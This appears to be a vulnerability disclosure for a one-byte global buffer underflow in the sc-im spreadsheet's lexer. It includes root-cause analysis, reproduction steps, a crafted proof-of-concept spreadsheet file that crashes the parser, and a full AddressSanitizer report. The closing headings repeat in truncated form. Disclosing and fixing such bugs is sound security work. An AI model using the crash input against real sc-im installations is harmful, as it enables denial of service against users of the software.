Description
We discovered a Global-buffer-overflow vulnerability in sc-im. The crash occurs in the lexical analyzer (yylex) when parsing a specifically crafted file.
The ASAN report indicates a READ memory access violation of 1 byte located 1 byte before the global variable line. This suggests a buffer underflow (accessing index -1) when scanning the input buffer.
Environment
- OS: Linux x86_64
- Complier: Clang
- Build Configuration: Release mode with ASan enabled.
Vulnerability Details
- Target: sc-im
- Vulnerability Type: CWE-125: Out-of-bounds Read (Underflow)
- Function: yylex
- Location: src/lex.c:119
- Root Cause Analysis: The vulnerability is a Global Buffer Underflow caused by state corruption of the global variable linelim.
- State Corruption (linelim = -1): The PoC contains malformed commands that trigger an edge case in the parser (likely during error recovery or a backspace operation). This results in linelim being incorrectly calculated as a negative value (specifically -1).
- Pointer Mis-initialization: Upon entering yylex, the current cursor p is initialized relative to the global buffer line:
char * p = line + linelim; // If linelim is -1, p points to line[-1]
- When the parser encounters the double-quote logic (*p == '"'), it initializes a lookahead pointer ptr = p + 1. Since p is line - 1, ptr becomes line (the start of the buffer). The loop condition checks *(ptr-1) (which resolves to *(line - 1)), causing an immediate read access violation on the memory address just before the global line buffer.
Reproduce
- Build sc-im with Release optimization and ASAN enabled.
- Run with the crashing file:
poc
# Th.
# it.
formnt A 10 2 0
f^rm2 0
leftstring A3 = A1#A2
gotoA0"
leftstring B0 =#A2
gotoA """"""""""""""""""
leftstring A1 = "Apple"
let B1 = 1.5>
leftstring A2 A1+A2
goto "
let B2 = 0.80
let A3 = = A5 ) aA0
./src/sc-im --nocurses --quit_afterload poc.sc
ASAN report
==5457==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55e58d42d77f at pc 0x55e58c99baeb bp 0x7ffcaea276d0 sp 0x7ffcaea276c8
READ of size 1 at 0x55e58d42d77f thread T0
#0 0x55e58c99baea in yylex /src/sc-im/src/lex.c:119:12
#1 0x55e58c954a1e in yyparse /src/sc-im/src/y.tab.c:3012:16
#2 0x55e58c92df3b in readfile /src/sc-im/src/file.c:901:36
#3 0x55e58c945abf in load_tbl /src/sc-im/src/file.c:2287:37
#4 0x55e58c9455b6 in load_file /src/sc-im/src/file.c:2248:5
#5 0x55e58c99ce04 in main /src/sc-im/src/main.c:285:9
#6 0x7f95f2d911c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#7 0x7f95f2d9128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#8 0x55e58c83cba4 in _start (/src/sc-im/src/sc-im+0x4eba4) (BuildId: a0e0444e0e3f03f87f10e6f4f651691f85705c2c)
0x55e58d42d77f is located 1 bytes before global variable 'line' defined in '/src/sc-im/src/main.c:116' (0x55e58d42d780) of size 1024
0x55e58d42d77f is located 27 bytes after global variable 'cellassign' defined in '/src/sc-im/src/main.c:106' (0x55e58d42d760) of size 4
SUMMARY: AddressSanitizer: global-buffer-overflow /src/sc-im/src/lex.c:119:12 in yylex
Shadow bytes around the buggy address:
0x55e58d42d480: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x55e58d42d500: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x55e58d42d580: 04 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9
0x55e58d42d600: 00 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9 00 00 f9 f9
0x55e58d42d680: 00 00 f9 f9 00 00 f9 f9 00 f9 f9 f9 00 f9 f9 f9
=>0x55e58d42d700: 00 f9 f9 f9 04 f9 f9 f9 04 f9 f9 f9 04 f9 f9[f9]
0x55e58d42d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x55e58d42d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x55e58d42d880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x55e58d42d900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x55e58d42d980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==5457==ABORTING
Description
We discovered a Global-buffer-overflow vulnerability in sc-im. The crash occurs in the lexical analyzer (yylex) when parsing a specifically crafted file.
The ASAN report indicates a READ memory access violation of 1 byte located 1 byte before the global variable line. This suggests a buffer underflow (accessing index -1) when scanning the input buffer.
Environment
Vulnerability Details
Reproduce
poc
ASAN report